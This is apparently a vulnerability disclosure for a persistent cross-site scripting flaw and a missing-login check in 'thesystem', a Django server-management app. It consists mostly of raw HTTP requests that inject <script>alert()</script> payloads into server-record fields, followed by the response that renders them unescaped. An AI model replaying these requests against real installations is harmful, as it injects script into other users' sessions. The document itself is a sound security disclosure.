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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | # Exploit Title: thesystem Persistent XSS # Author: Anıl Baran Yelken # Discovery Date: 2019-09-28 # Vendor Homepage: https://github.com/kostasmitroglou/thesystem # Software Link: https://github.com/kostasmitroglou/thesystem # Tested Version: 1.0 # Tested on OS: Windows 10 # CVE: N/A # Type: Webapps # Description: # Persistent XSS after login bypass(login_required didn't used) First of all, I send a request add_server POST /add_server/ HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3902153292 Content-Length: 1205 Connection: close Referer: http://127.0.0.1:8000/add_server/ Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977; _gid=GA1.1.882048829.1569577719 Upgrade-Insecure-Requests: 1 -----------------------------3902153292 Content-Disposition: form-data; name="csrfmiddlewaretoken" S5HLlkGrTnGH2FHIP4ry58Mw8Rw9KiPF3j6wIQ5tQvzMLmZTLAayAVs4Htg6OCRn -----------------------------3902153292 Content-Disposition: form-data; name="operating_system" <script>alert("kale1")</script> -----------------------------3902153292 Content-Disposition: form-data; name="ip_address" 127.0.0.1 -----------------------------3902153292 Content-Disposition: form-data; name="system_port" 22 -----------------------------3902153292 Content-Disposition: form-data; name="system_owner" <script>alert("kale2")</script> -----------------------------3902153292 Content-Disposition: form-data; name="system_username" <script>alert("kale3")</script> -----------------------------3902153292 Content-Disposition: form-data; name="system_password" <script>alert("kale4")</script> -----------------------------3902153292 Content-Disposition: form-data; name="system_description" <script>alert("kale5")</script> -----------------------------3902153292 Content-Disposition: form-data; name="server_name" <script>alert("kale6")</script> -----------------------------3902153292-- After I send a request show_server_data GET /show_server_data/ HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://127.0.0.1:8000/data/ Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.1.567905900.1569231977 Upgrade-Insecure-Requests: 1 And I showed persistent XSS: HTTP/1.1 200 OK Date: Sat, 28 Sep 2019 09:51:04 GMT Server: WSGIServer/0.2 CPython/3.5.3 Content-Length: 437 Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN (23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')(25, '<script>alert("kale1")</script>', '127.0.0.1', '22', '<script>alert("kale2")</script>', '<script>alert("kale3")</script>', '<script>alert("kale4")</script>', '<script>alert("kale5")</script>', '<script>alert("kale6")</script>', '2019-09-28') |
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